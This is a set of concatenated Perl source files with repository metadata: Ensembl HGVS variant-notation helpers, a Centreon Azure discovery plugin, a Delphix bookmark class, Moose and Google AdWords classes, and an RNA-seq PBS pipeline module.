stop codon, but maintains stop codon - set to synonymous $hgvs_notation->{type} = "="; return ($hgvs_notation); } last if $hgvs_notation->{ref} ne $hgvs_notation->{alt}; $hgvs_notation->{start}++; } return ($hgvs_notation); } #### HGVS: if variant is an insertion, ref pep is initially "-", so seek AA before and after insertion sub _get_surrounding_peptides { my $self = shift; my $ref_pos = shift; my $original_ref = shift; my $length = shift; my $ref_trans = $self->transcript_variation->_peptide(); $ref_trans .= $original_ref if defined $original_ref && $original_ref =~ /^\*/; ## can't find peptide after the end return if length($ref_trans) <= $ref_pos ; my $ref_string; if(defined $length) { $ref_string = substr($ref_trans, $ref_pos-1, $length); } else{ $ref_string = substr($ref_trans, $ref_pos-1 ); } return ($ref_string); } #### HGVS: alternate CDS needed to check for new stop when variant disrupts 'reference' stop sub _get_alternate_cds{ my $self = shift; ### get reference sequence my $reference_cds_seq = $self->transcript_variation->_translateable_seq(); my $tv = $self->transcript_variation; my $vf = $tv->variation_feature; my $tr = $tv->transcript; return undef unless defined($tv->cds_start) && defined($tv->cds_end()); ### get sequences upstream and downstream of variant my $upstream_seq = substr($reference_cds_seq, 0, ($tv->cds_start() -1) ); my $downstream_seq = substr($reference_cds_seq, ($tv->cds_end() ) ); ### fix alternate allele if deletion or on opposite strand my $alt_allele = $self->variation_feature_seq(); $alt_allele =~ s/\-//; if($alt_allele && $vf->strand() != $tr->strand()){ reverse_comp(\$alt_allele) ; } ### build alternate seq my $alternate_seq = $upstream_seq . $alt_allele . $downstream_seq ; $alternate_seq = $self->_trim_incomplete_codon($alternate_seq ); ### create seq obj with alternative allele in the CDS sequence my $alt_cds =Bio::PrimarySeq->new(-seq => $alternate_seq, -id => 'alt_cds', -alphabet => 'dna'); ### append UTR if available as stop may be disrupted my $utr = $self->transcript_variation->_three_prime_utr(); if (defined $utr) { ### append the UTR to the alternative CDS $alt_cds->seq($alt_cds->seq() . $utr->seq()); } else{ ##warn "No UTR available for alternate CDS\n"; } return $alt_cds; } ### HGVS: if inserted string is identical to 3' reference sequence, describe as duplication sub _check_for_peptide_duplication { my $self = shift; my $hgvs_notation = shift; ##### get reference sequence my $reference_cds_seq = $self->transcript_variation->_translateable_seq(); my $reference_cds = Bio::PrimarySeq->new(-seq => $reference_cds_seq, -id => 'alt_cds', -alphabet => 'dna'); my $reference_trans = $reference_cds->translate()->seq(); ##### get sequence upstream of variant - use hgvs start; may have been shifted my $upstream_trans = substr($reference_trans, 0, ($hgvs_notation->{'start'} -1) ); print "Checking for peptide duplication: $hgvs_notation->{alt} vs $upstream_trans $hgvs_notation->{preseq} \n" if $DEBUG ==1; $upstream_trans .= $hgvs_notation->{preseq} if defined $hgvs_notation->{preseq}; ## add back on anything previously chopped off ref allele ## Test whether alt peptide matches the reference sequence just before the variant my $test_new_start = $hgvs_notation->{'start'} - length($hgvs_notation->{'alt'}) -1 ; if( (length($upstream_trans) >= $test_new_start + length($hgvs_notation->{'alt'}) ) && $test_new_start >=0){ my $test_seq = substr($upstream_trans, $test_new_start, length($hgvs_notation->{'alt'})); if ( $test_new_start >= 0 && $test_seq eq $hgvs_notation->{alt}) { $hgvs_notation->{type} = 'dup'; $hgvs_notation->{end} = $hgvs_notation->{start} -1; $hgvs_notation->{start} -= length($hgvs_notation->{alt}); ## convert to 3 letter code $hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || ""; } } return $hgvs_notation; } #### HGVS: if a stop is lost, seek the next in transcript & count number of extra AA's sub _stop_loss_extra_AA{ my $self = shift; my $ref_var_pos = shift; ### first effected AA - supply for frameshifts my $test = shift; return undef unless $ref_var_pos; my $extra_aa; ### get the sequence with variant added my $alt_cds = $self->_get_alternate_cds(); return undef unless defined($alt_cds); ### get new translation my $alt_trans = $alt_cds->translate(); my $ref_temp = $self->transcript_variation->_peptide(); my $ref_len = length($ref_temp); if($DEBUG==1){ print "alt translated:\n" . $alt_trans->seq() . "\n"; print "ref translated:\n$ref_temp\n";; } #### Find the number of residues that are translated until a termination codon is encountered if ($alt_trans->seq() =~ m/\*/) { if($DEBUG==1){print "Got $+[0] aa before stop, var event at $ref_var_pos \n";} if(defined $test && $test eq "fs" ){ ### frame shift - count from first AA effected by variant to stop $extra_aa = $+[0] - $ref_var_pos; if($DEBUG==1){ print "Stop change ($test): found $extra_aa amino acids before fs stop [ $+[0] - peptide ref_start: $ref_var_pos )]\n";} } else{ $extra_aa = $+[0] - 1 - $ref_len; if($DEBUG==1){ print "Stop change (non-fs): found $extra_aa amino acids before next stop [ $+[0] - 1 -normal stop $ref_len)]\n";} } } # A special case is if the first aa is a stop codon => don't display the number of residues until the stop codon if(defined $extra_aa && $extra_aa >0){ return $extra_aa ; } else{ #warn "No stop found in alternate sequence\n"; return undef; } } ## doing this to stop final incomplete codons being guessed sub _trim_incomplete_codon{ my $self = shift; my $seq = shift; return undef unless $seq; my $full_length = length $seq; my $keep_length = $full_length - $full_length % 3; return $seq if $full_length = $keep_length ; return substr($seq, 0, $keep_length); } ## This is used for rare in-frame deletions removing an intron and part of both surrounding exons sub _get_del_peptides{ my $self = shift; my $hgvs_notation = shift; ### get CDS with alt variant my $alt_cds = $self->_get_alternate_cds(); return undef unless defined($alt_cds); #### get new translation my $start = $self->transcript_variation->translation_start() - 1; my $alt = substr($alt_cds->translate()->seq(), $start ); $hgvs_notation->{alt} = (split/\*/, $alt)[0]; ### get changed end (currently in single letter AA coding) $hgvs_notation->{ref} = substr($self->transcript->translate()->seq(), $start ); $hgvs_notation->{start} = $self->transcript_variation->translation_start() ; $hgvs_notation = _clip_alleles($hgvs_notation); ## switch to 3 letter AA coding $hgvs_notation->{alt} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{alt}, -id => 'ref', -alphabet => 'protein')) || ""; $hgvs_notation->{ref} = Bio::SeqUtils->seq3(Bio::PrimarySeq->new(-seq => $hgvs_notation->{ref}, -id => 'ref', -alphabet => 'protein')) || ""; return $hgvs_notation; } ## HGVS counts from first different peptide, ## so check the sequence post variant and increment accordingly sub _check_peptides_post_var{ my $self = shift; my $hgvs_notation = shift; ## check peptides after deletion my $post_pos = $hgvs_notation->{end}+1; my $post_seq = $self->_get_surrounding_peptides( $post_pos, $hgvs_notation->{original_ref} ); ## if a stop is deleted and no sequence is available beyond to check, return return $hgvs_notation unless defined $post_seq; $hgvs_notation = _shift_3prime($hgvs_notation, $post_seq); return $hgvs_notation; } ## HGVS aligns changes 3' (alt string may look different at transcript level to genomic level) ## AAC[TG]TAT => AACT[GT]AT ## TTA[GGG]GGTTTA =>TTAGG[GGG]TTTA sub _shift_3prime{ my $hgvs_notation = shift; my $post_seq = shift; my $seq_to_check; if( $hgvs_notation->{type} eq 'ins'){ $seq_to_check = $hgvs_notation->{alt}; } elsif ($hgvs_notation->{type} eq 'del'){ $seq_to_check = $hgvs_notation->{ref}; } else{ return $hgvs_notation; } ## return if nothing to check return $hgvs_notation unless defined $post_seq && defined $seq_to_check; ## get length of pattern to check my $deleted_length = (length $seq_to_check); # warn "Checking $seq_to_check v $post_seq\n"; ## move along sequence after deletion looking for match to start of deletion for (my $n = 0; $n<= (length($post_seq) - $deleted_length); $n++ ){ ## check each position in deletion/ following seq for match my $check_next_del = substr( $seq_to_check, 0, 1); my $check_next_post = substr( $post_seq, $n, 1); if($check_next_del eq $check_next_post){ ## move position of deletion along $hgvs_notation->{start}++; $hgvs_notation->{end}++; ## modify deleted sequence - remove start & append to end $seq_to_check = substr($seq_to_check,1); $seq_to_check .= $check_next_del; } else{ last; } } ## set new HGVS string $hgvs_notation->{alt} = $seq_to_check if $hgvs_notation->{type} eq 'ins'; $hgvs_notation->{ref} = $seq_to_check if $hgvs_notation->{type} eq 'del'; return $hgvs_notation; } =head # We haven't implemented support for these methods yet sub hgvs_rna { return _hgvs_generic(@_,'rna'); } sub hgvs_mitochondrial { return _hgvs_generic(@_,'mitochondrial'); } =cut sub _hgvs_generic { my $self = shift; my $reference = pop; my $notation = shift; #The rna and mitochondrial modes have not yet been implemented, so return undef in case we get a call to these return undef if ($reference =~ m/rna|mitochondrial/); my $sub = qq{hgvs_$reference}; $self->{$sub} = $notation if defined $notation; unless ($self->{$sub}) { # Use the transcript this VF is on as the reference feature my $reference_feature = $self->feature; # If we want genomic coordinates, the reference_feature should actually be the slice for the underlying seq_region $reference_feature = $reference_feature->slice->seq_region_Slice if ($reference eq 'genomic'); # Calculate the HGVS notation on-the-fly and pass it to the TranscriptVariation in order to distribute the result to the other alleles my $tv = $self->base_variation_feature_overlap; my $vf = $self->base_variation_feature; $tv->$sub($vf->get_all_hgvs_notations($reference_feature,substr($reference,0,1),undef,undef,$tv)); } return $self->{$sub}; } ### HGVS: move variant to transcript slice sub _var2transcript_slice_coords{ my ($self, $tr, $tv, $vf) = @_; $tv ||= $self->base_variation_feature_overlap; $tr ||= $tv->transcript; $vf ||= $tv->base_variation_feature; # what we want is VF coords relative to transcript feature slice my ($tr_start, $tr_end) = ($tr->start, $tr->end); my ($vf_start, $vf_end); # same slice, easy and we don't need to use transfer if($NO_TRANSFER || $tr->slice eq $vf->slice) { # different transform depending on transcript strand if($tr->strand < 1) { # note we switch start/end here # this also works in the case of insertions thankfully ($vf_start, $vf_end) = map {($tr_end - $_) + 1} ($vf->end, $vf->start); } else { ($vf_start, $vf_end) = map {($_ - $tr_start) + 1} ($vf->start, $vf->end); } } # different slices used to fetch features # have to use transfer for safety else { my $tr_vf = $vf->transfer($self->_transcript_feature_Slice($tr)); return undef unless $tr_vf; ($vf_start, $vf_end) = ($tr_vf->start, $tr_vf->end); } # Return undef if this VariationFeature does not fall within the supplied feature. return undef if ( $vf_start < 1 || $vf_end < 1 || $vf_start > ($tr_end - $tr_start + 1) || $vf_end > ($tr_end - $tr_start + 1) ); return( $vf_start , $vf_end, $self->_transcript_feature_Slice($tr)); } ### HGVS: get variant position in transcript # intron: # If the position is in an intron, the boundary position of the closest exon and # a + or - offset into the intron is returned. # Ordered by genome forward not 5' -> 3' # upstream: # If the position is 5' of the start codon, it is reported relative to the start codon # (-1 being the last nucleotide before the 'A' of ATG). #downstream: # If the position is 3' pf the stop codon, it is reported with a '*' prefix and the offset # from the start codon (*1 being the first nucleotide after the last position of the stop codon) sub _get_cDNA_position { my $self = shift; my $position = shift; ### start or end of variation my $tv = $self->base_variation_feature_overlap; my $transcript = $tv->transcript(); my $strand = $transcript->strand(); #### TranscriptVariation start/stop coord relative to transcript #### Switch to chromosome coordinates taking into account strand $position = ( $strand > 0 ? ( $transcript->start() + $position - 1 ) : ( $transcript->end() - $position + 1)); # Get all exons sorted in positional order my $exons = $tv->_sorted_exons(); my $n_exons = scalar(@$exons); my $cdna_position; # Loop over the exons and get the coordinates of the variation in exon+intron notation for (my $i=0; $i<$n_exons; $i++) { my $exon = $exons->[$i]; my ($exon_start, $exon_end) = ($exon->{start}, $exon->{end}); # Skip if the start point is beyond this exon next if ($position > $exon_end); # EXONIC: If the start coordinate is within this exon if ($position >= $exon_start) { # Get the cDNA start coordinate of the exon and add the number of nucleotides from the exon boundary to the variation # If the transcript is in the opposite direction, count from the end instead $cdna_position = $self->_exon_cdna_start($exon, $transcript) + ( $strand > 0 ? ( $position - $exon_start ) : ( $exon_end - $position ) ); last; #### last exon checked } ## INTRONIC # Else the start coordinate is between this exon and the previous one, determine which one is closest and get coordinates relative to that one else { my $prev_exon = $exons->[$i-1]; my $updist = ($position - $prev_exon->{end}); $updist =~ s/\-//; ## avoid problems with incomplete transcripts my $downdist = ($exon_start - $position); $downdist =~ s/\-//; ## avoid problems with incomplete transcripts # If the distance to the upstream exon is the shortest, or equal and in the positive orientation, use that if ($updist < $downdist || ($updist == $downdist && $strand >= 0)) { # If the orientation is reversed, we should use the cDNA start and a '-' offset $cdna_position = ( $strand >= 0 ? $self->_exon_cdna_end($prev_exon, $transcript).'+' : $self->_exon_cdna_start($prev_exon, $transcript).'-' ).$updist; } # Else if downstream is shortest... else { # If the orientation is reversed, we should use the cDNA end and a '+' offset $cdna_position = ( $strand >= 0 ? $self->_exon_cdna_start($exon, $transcript).'-' : $self->_exon_cdna_end($exon, $transcript).'+' ).$downdist; } last; ## last exon checked } } ## this should not happen; potential refseq oddness return undef unless $cdna_position; # Shift the position to make it relative to the start & stop codons my $start_codon = $transcript->cdna_coding_start(); my $stop_codon = $transcript->cdna_coding_end(); # Disassemble the cDNA coordinate into the exon and intron parts ### just built this now taking it appart again my ($cdna_coord, $intron_offset) = $cdna_position =~ m/([0-9]+)([\+\-][0-9]+)?/; # Start by correcting for the stop codon if (defined($stop_codon) ){ if($cdna_coord > $stop_codon) { # Get the offset from the stop codon $cdna_coord -= $stop_codon; # Prepend a * to indicate the position is in the 3' UTR $cdna_coord = '*' . $cdna_coord; } elsif ( $cdna_coord eq $stop_codon && defined $intron_offset) { $intron_offset =~ s/\+//g; $cdna_coord ='' ; # Prepend a * to indicate the position is in the 3' UTR $cdna_coord = '*' . $cdna_coord; } } if (defined($start_codon) && $cdna_coord !~/\*/) { # If the position is beyond the start codon, add 1 to get the correct offset $cdna_coord += ($cdna_coord >= $start_codon); # Subtract the position of the start codon $cdna_coord -= $start_codon; } else{ print "Checking non-coding transcript\n" if $DEBUG==1; } # Re-assemble the cDNA position [ return exon num & offset & direction for intron eg. 142+363] $cdna_position = $cdna_coord . (defined($intron_offset) ? $intron_offset : ''); return $cdna_position; } # $exon->cdna_start doesn't cache # so use our own method that does sub _exon_cdna_start { my ($self, $exon, $tr) = @_; my $tr_stable_id = $tr->stable_id; my $fc = $exon->{_variation_effect_feature_cache}->{$tr_stable_id} ||= {}; if(!exists($fc->{_cdna_start})) { $fc->{_cdna_start} = $exon->cdna_start($tr); } return $fc->{_cdna_start}; } sub _exon_cdna_end { my ($self, $exon, $tr) = @_; my $tr_stable_id = $tr->stable_id; my $fc = $exon->{_variation_effect_feature_cache}->{$tr_stable_id} ||= {}; if(!exists($fc->{_cdna_end})) { $fc->{_cdna_end} = $exon->cdna_end($tr); } return $fc->{_cdna_end}; } # same for $transcript->feature_Slice # need to be careful here in case the transcript has moved slice # you never know! sub _transcript_feature_Slice { my ($self, $tr) = @_; my $fc = $tr->{_variation_effect_feature_cache} ||= {}; # check that we haven't moved slice my $curr_slice_ref = sprintf('%s', $tr->slice()); my $prev_slice_ref = $fc->{slice_ref}; if( !exists($fc->{feature_Slice}) || $fc->{slice_ref} && $fc->{slice_ref} ne $curr_slice_ref ) { # log the reference of this slice $fc->{slice_ref} = $curr_slice_ref; $fc->{feature_Slice} = $tr->feature_Slice(); } return $fc->{feature_Slice}; } 1;
willmclaren/ensembl-variation
modules/Bio/EnsEMBL/Variation/TranscriptVariationAllele.pm
Perl
apache-2.0
67,812
# # Copyright 2022 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package cloud::azure::management::automation::mode::discovery; use base qw(cloud::azure::management::monitor::mode::discovery); use strict; use warnings; sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $self->{namespace} = 'Microsoft.Automation'; $self->{type} = 'automationAccounts'; } 1; __END__ =head1 MODE Azure Automation discovery. =over 8 =item B<--resource-group> Specify resource group. =item B<--location> Specify location. =item B<--prettify> Prettify JSON output. =back =cut
centreon/centreon-plugins
cloud/azure/management/automation/mode/discovery.pm
Perl
apache-2.0
1,318
# # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Copyright (c) 2015,2016 by Delphix. All rights reserved. # # Program Name : Bookmark_obj.pm # Description : Delphix Engine bookmark object # It's include the following classes: # - Environment_obj - class which map a Delphix Engine bookmark API object # Author : Marcin Przepiorowski # Created : 02 Jul 2015 (v2.0.0) # package Bookmark_obj; use warnings; use strict; use Data::Dumper; use JSON; use Toolkit_helpers qw (logger); # constructor # parameters # - dlpxObject - connection to DE # - debug - debug flag (debug on if defined) sub new { my $classname = shift; my $dlpxObject = shift; my $debug = shift; logger($debug, "Entering Bookmark_obj::constructor",1); my %bookmarks; my $self = { _bookmarks => \%bookmarks, _dlpxObject => $dlpxObject, _debug => $debug }; bless($self,$classname); $self->getEnvironmentList($debug); return $self; } # Procedure getEnvironment # parameters: # - reference # Return environment hash for specific environment reference sub getEnvironment { my $self = shift; my $reference = shift; logger($self->{_debug}, "Entering Environment_obj::getEnvironment",1); my $environments = $self->{_environments}; return $environments->{$reference}; } # Procedure getName # parameters: # - reference # Return environment name for specific environment reference sub getName { my $self = shift; my $reference = shift; logger($self->{_debug}, "Entering Environment_obj::getName",1); my $environments = $self->{_environments}; return $environments->{$reference}->{'name'}; } # Procedure getEnvironmentByName # parameters: # - name - repository name # Return environment reference for environment name sub getEnvironmentByName { my $self = shift; my $name = shift; my $ret; logger($self->{_debug}, "Entering Environment_obj::getEnvironmentByName",1); for my $envitem ( sort ( keys %{$self->{_environments}} ) ) { if ( $self->getName($envitem) eq $name) { $ret = $self->getEnvironment($envitem); } } return $ret; } # Procedure getEnvironmentList # parameters: none # Load a list of bookmark objects from Delphix Engine sub getBookmarkList { my $self = shift; logger($self->{_debug}, "Entering Bookmark_obj::getBookmarkList",1); my $operation = "resources/json/delphix/jetstream/bookmark"; my ($result, $result_fmt) = $self->{_dlpxObject}->getJSONResult($operation); my @res = @{$result->{result}}; my $bookmarks = $self->{_bookmarks}; for my $envitem (@res) { $environments->{$envitem->{reference}} = $envitem; } } 1;
delphix/dxtoolkit
lib/Container_obj.pm
Perl
apache-2.0
3,278
package Moose::Exception::MetaclassMustBeASubclassOfMooseMetaClass; our $VERSION = '2.1404'; use Moose; extends 'Moose::Exception'; with 'Moose::Exception::Role::Class'; sub _build_message { my $self = shift; "The Metaclass ".$self->class_name." must be a subclass of Moose::Meta::Class." } 1;
ray66rus/vndrv
local/lib/perl5/x86_64-linux-thread-multi/Moose/Exception/MetaclassMustBeASubclassOfMooseMetaClass.pm
Perl
apache-2.0
305
package Google::Ads::AdWords::v201402::SharedSetService::RequestHeader; use strict; use warnings; { # BLOCK to scope variables sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201402' } __PACKAGE__->__set_name('RequestHeader'); __PACKAGE__->__set_nillable(); __PACKAGE__->__set_minOccurs(); __PACKAGE__->__set_maxOccurs(); __PACKAGE__->__set_ref(); use base qw( SOAP::WSDL::XSD::Typelib::Element Google::Ads::AdWords::v201402::SoapHeader ); } 1; =pod =head1 NAME Google::Ads::AdWords::v201402::SharedSetService::RequestHeader =head1 DESCRIPTION Perl data type class for the XML Schema defined element RequestHeader from the namespace https://adwords.google.com/api/adwords/cm/v201402. =head1 METHODS =head2 new my $element = Google::Ads::AdWords::v201402::SharedSetService::RequestHeader->new($data); Constructor. The following data structure may be passed to new(): $a_reference_to, # see Google::Ads::AdWords::v201402::SoapHeader =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201402/SharedSetService/RequestHeader.pm
Perl
apache-2.0
1,023
#!/usr/bin/perl package CQS::RNASeq; use strict; use warnings; use File::Copy; use File::Basename; use List::Compare; use CQS::PBS; use CQS::FileUtils; use CQS::StringUtils; use CQS::ConfigUtils; use CQS::SystemUtils; use CQS::NGSCommon; use CQS::ClassFactory; require Exporter; our @ISA = qw(Exporter); our %EXPORT_TAGS = ( 'all' => [ qw(tophat2 call_tophat2 tophat2_by_pbs get_tophat2_result call_RNASeQC cufflinks_by_pbs cuffmerge_by_pbs cuffdiff_by_pbs read_cufflinks_fpkm read_cuffdiff_significant_genes copy_and_rename_cuffdiff_file compare_cuffdiff miso_by_pbs novoalign shrimp2) ] ); our @EXPORT = ( @{ $EXPORT_TAGS{'all'} } ); our $VERSION = '0.01'; use Cwd; sub get_sorted_bam_prefix { my ($oldbam) = @_; my ( $filename, $dirs, $suffix ) = fileparse( $oldbam, qr/\.[^.]*/ ); return ( $filename . "_sorted" ); } sub tophat2_by_pbs { my ( $config, $section ) = @_; my $obj = instantiate("Tophat2"); $obj->perform( $config, $section ); } sub tophat2 { tophat2_by_pbs(@_); } sub call_tophat2 { tophat2_by_pbs(@_); } #get expected tophat2 result based on tophat2 definition sub get_tophat2_map { my ( $config, $section ) = @_; my ( $result, $issource ) = get_raw_files2( $config, $section ); if ($issource) { retun $result; } my $tophatsection = $config->{$section}{source_ref}; my $tophat_dir = $config->{$tophatsection}{target_dir} or die "${tophatsection}::target_dir not defined."; my ( $logDir, $pbsDir, $resultDir ) = init_dir( $tophat_dir, 0 ); my %fqFiles = %{$result}; my $tpresult = {}; for my $sampleName ( keys %fqFiles ) { my $bam = "${resultDir}/${sampleName}/accepted_hits.bam"; $tpresult->{$sampleName} = $bam; } return $tpresult; } sub call_RNASeQC { my ( $config, $section ) = @_; my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section ); my $transcript_gtf = get_param_file( $config->{$section}{transcript_gtf}, "transcript_gtf", 1 ); my $genome_fasta = get_param_file( $config->{$section}{genome_fasta}, "genome_fasta", 1 ); my $rnaseqc_jar = get_param_file( $config->{$section}{rnaseqc_jar}, "rnaseqc_jar", 1 ); my %tophat2map = %{ get_tophat2_map( $config, $section ) }; my $pbsFile = "${pbsDir}/${task_name}_RNASeQC.pbs"; my $log = $logDir . "/${task_name}_RNASeQC.log"; output_header( $pbsFile, $pbsDesc, $path_file, $log ); my $sampleFile = $resultDir . "/sample.list"; open( SF, ">$sampleFile" ) or die "Cannot create $sampleFile"; print SF "Sample ID\tBam File\tNotes\n"; for my $sampleName ( sort keys %tophat2map ) { my $tophat2File = $tophat2map{$sampleName}; my $sortedBamFile = get_sorted_bam($tophat2File); print OUT "if [ ! -e $sortedBamFile ];\n"; print OUT "then\n"; my ( $filename, $dirs, $suffix ) = fileparse( $tophat2File, qr/\.[^.]*/ ); my $sortedBamPrefix = get_sorted_bam_prefix($tophat2File); print OUT " cd $dirs \n"; print OUT " samtools sort ${filename}${suffix} $sortedBamPrefix \n"; print OUT " samtools index ${sortedBamPrefix}.bam \n"; print OUT "fi\n\n"; print SF "${sampleName}\t${sortedBamFile}\t${sampleName}\n"; } close SF; print OUT "cd $resultDir \n"; print OUT "java -jar $rnaseqc_jar -s $sampleFile -t $transcript_gtf -r $genome_fasta -o . \n"; output_footer(); print "$pbsFile created\n"; } sub cufflinks_by_pbs { my ( $config, $section ) = @_; my $obj = instantiate("Cufflinks"); $obj->perform( $config, $section ); } sub cuffmerge_by_pbs { my ( $config, $section ) = @_; my $obj = instantiate("Cuffmerge"); $obj->perform( $config, $section ); } sub cuffdiff_by_pbs { my ( $config, $section ) = @_; my $obj = instantiate("Cuffdiff"); $obj->perform( $config, $section ); } sub check_is_single() { my ( $sampleNameCount, @sampleFiles ) = @_; my $sampleFileCount = scalar(@sampleFiles); my $isSingle = 1; if ( $sampleNameCount == $sampleFileCount ) { $isSingle = 1; } elsif ( $sampleNameCount * 2 == $sampleFileCount ) { $isSingle = 0; } else { die "Count of SampleName should be equals to count/half count of SampleFiles"; } return ($isSingle); } sub read_cufflinks_fpkm { my $genefile = shift; open GF, "<$genefile" or die "Cannot open file $genefile"; my $header = <GF>; my @headers = split( /\t/, $header ); my ($geneindex) = grep { $headers[$_] eq "gene_id" } 0 .. $#headers; my ($fpkmindex) = grep { $headers[$_] eq "FPKM" } 0 .. $#headers; my $result = {}; while ( my $line = <GF> ) { my @values = split( /\t/, $line ); $result->{ $values[$geneindex] } = $values[$fpkmindex]; } close(GF); return $result; } sub read_cuffdiff_significant_genes { my $file = shift; my $result = {}; open IN, "<$file" or die "Cannot open file $file"; my $header = <IN>; chomp($header); while ( my $line = <IN> ) { chomp($line); my @part = split( /\t/, $line ); if ( $part[13] eq "yes" ) { $result->{ $part[2] } = $line; } } close IN; return ( $result, $header ); } #use CQS::RNASeq; #my $root = "/home/xxx/cuffdiff/result"; #my $targetdir = create_directory_or_die( $root . "/comparison" ); #my $config = { # "RenameDiff" => { # target_dir => $targetdir, # root_dir => $root # } #} #copy_and_rename_cuffdiff_file($config, "RenameDiff"); sub copy_and_rename_cuffdiff_file { my ( $config, $section ) = @_; my $dir = $config->{$section}{"root_dir"} or die "define ${section}::root_dir first"; if ( !-d $dir ) { die "directory $dir is not exists"; } my $targetdir = $config->{$section}{"target_dir"} or die "define ${section}::target_dir first"; if ( !-d $targetdir ) { create_directory_or_die($targetdir); } my $gene_only = $config->{$section}{"gene_only"}; if ( !defined($gene_only) ) { $gene_only = 0; } my @subdirs = list_directories($dir); if ( 0 == scalar(@subdirs) ) { die "$dir has no sub CuffDiff directories"; } my @filenames; if ($gene_only) { @filenames = ("gene_exp.diff"); } else { @filenames = ( "gene_exp.diff", "splicing.diff" ); } for my $subdir (@subdirs) { foreach my $filename (@filenames) { my $file = "${dir}/${subdir}/${filename}"; if ( -s $file ) { print "Dealing " . $file . "\n"; open IN, "<$file" or die "Cannot open file $file"; my $line = <IN>; $line = <IN>; close(IN); if ( defined($line) ) { my @parts = split( /\t/, $line ); my $partcount = scalar(@parts); my $targetname = "${targetdir}/${subdir}.${filename}"; copy( $file, $targetname ) or die "copy failed : $!"; my $target_sign_name = $targetname . ".sig"; my $cmd; if ($gene_only) { $cmd = "cat $targetname | awk '(\$3 != \"-\") && (\$$partcount==\"yes\" || \$$partcount==\"significant\")' > $target_sign_name"; } else { $cmd = "cat $targetname | awk '\$$partcount==\"yes\" || \$$partcount==\"significant\"' > $target_sign_name"; } print $cmd . "\n"; `$cmd`; } } } } } sub output_compare_cuffdiff_file { my ( $data1, $data2, $fileName, $header, @genes ) = @_; open OUT, ">$fileName" or die "Cannot create file $fileName"; print OUT "$header\n"; my @sortedgenes = sort @genes; for my $gene (@sortedgenes) { if ( defined $data1->{$gene} ) { print OUT "$data1->{$gene}\n"; } if ( defined $data2->{$gene} ) { print OUT "$data2->{$gene}\n"; } } close(OUT); } sub compare_cuffdiff { my ( $config, $section ) = @_; my $info = $config->{$section}; my ( $file1, $file2 ) = @{ $info->{"files"} }; my ( $data1, $header ) = read_cuffdiff_significant_genes($file1); my ( $data2, $header2 ) = read_cuffdiff_significant_genes($file2); my @genes1 = keys %{$data1}; my @genes2 = keys %{$data2}; my $lc = List::Compare->new( \@genes1, \@genes2 ); my @resultgenes = (); if ( $info->{operation} eq "minus" ) { @resultgenes = $lc->get_Lonly(); } elsif ( $info->{operation} eq "intersect" ) { @resultgenes = $lc->get_intersection(); } else { die "Only minus or intersect is supported."; } my $resultFileName = $info->{"target_file"}; output_compare_cuffdiff_file( $data1, $data2, $resultFileName, $header, @resultgenes ); } sub output_header { my ( $pbsFile, $pbsDesc, $path_file, $log ) = @_; open( OUT, ">$pbsFile" ) or die $!; print OUT "$pbsDesc PBS -o $log #PBS -j oe $path_file "; } sub output_footer() { print OUT "echo finished=`date`\n"; close OUT; } sub miso_by_pbs { my ( $config, $section ) = @_; my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section ); my $gff3file = get_param_file( $config->{$section}{gff3_file}, "gff3_file", 1 ); my $gff3index = $gff3file . "indexed"; my %tophat2map = %{ get_tophat2_map( $config, $section ) }; my $shfile = $pbsDir . "/${task_name}.submit"; open( SH, ">$shfile" ) or die "Cannot create $shfile"; print SH "if [ ! -d $gff3index ];\n"; print SH "then\n"; print SH " index_gff.py --index $gff3file $gff3index \n"; print SH "fi\n\n"; for my $sampleName ( sort keys %tophat2map ) { my $tophat2File = $tophat2map{$sampleName}; my $tophat2indexFile = $tophat2File . ".bai"; my $pbsName = "${sampleName}_miso.pbs"; my $pbsFile = $pbsDir . "/$pbsName"; print SH "if [ ! -s $tophat2File ];\n"; print SH "then"; print SH " echo tophat2 of ${sampleName} has not finished, ignore current job. \n"; print SH "else\n"; print SH " qsub ./$pbsName \n"; print SH " echo $pbsName was submitted. \n"; print SH "fi\n"; my $log = $logDir . "/${sampleName}_miso.log"; output_header( $pbsFile, $pbsDesc, $path_file, $log ); my $curDir = create_directory_or_die( $resultDir . "/$sampleName" ); print OUT "echo MISO=`date` \n"; print OUT "if [ ! -e $tophat2indexFile ];\n"; print OUT "then\n"; print OUT " samtools index $tophat2File \n"; print OUT "fi\n"; print OUT "run_events_analysis.py --compute-genes-psi $gff3index $tophat2File --output-dir $curDir --read-len 35 \n"; output_footer(); print "$pbsFile created\n"; } print SH "\nexit 0\n"; close(SH); if ( is_linux() ) { chmod 0755, $shfile; } print "!!!shell file $shfile created, you can run this shell file to submit all miso tasks.\n"; } sub novoalign { my ( $config, $section ) = @_; my ( $task_name, $path_file, $pbsDesc, $target_dir, $logDir, $pbsDir, $resultDir, $option ) = get_parameter( $config, $section ); my $novoindex = get_param_file( $config->{$section}{novoindex}, "novoindex", 1 ); my %rawFiles = %{ get_raw_files( $config, $section ) }; my $shfile = $pbsDir . "/${task_name}.sh"; open( SH, ">$shfile" ) or die "Cannot create $shfile"; print SH "type -P qsub &>/dev/null && export 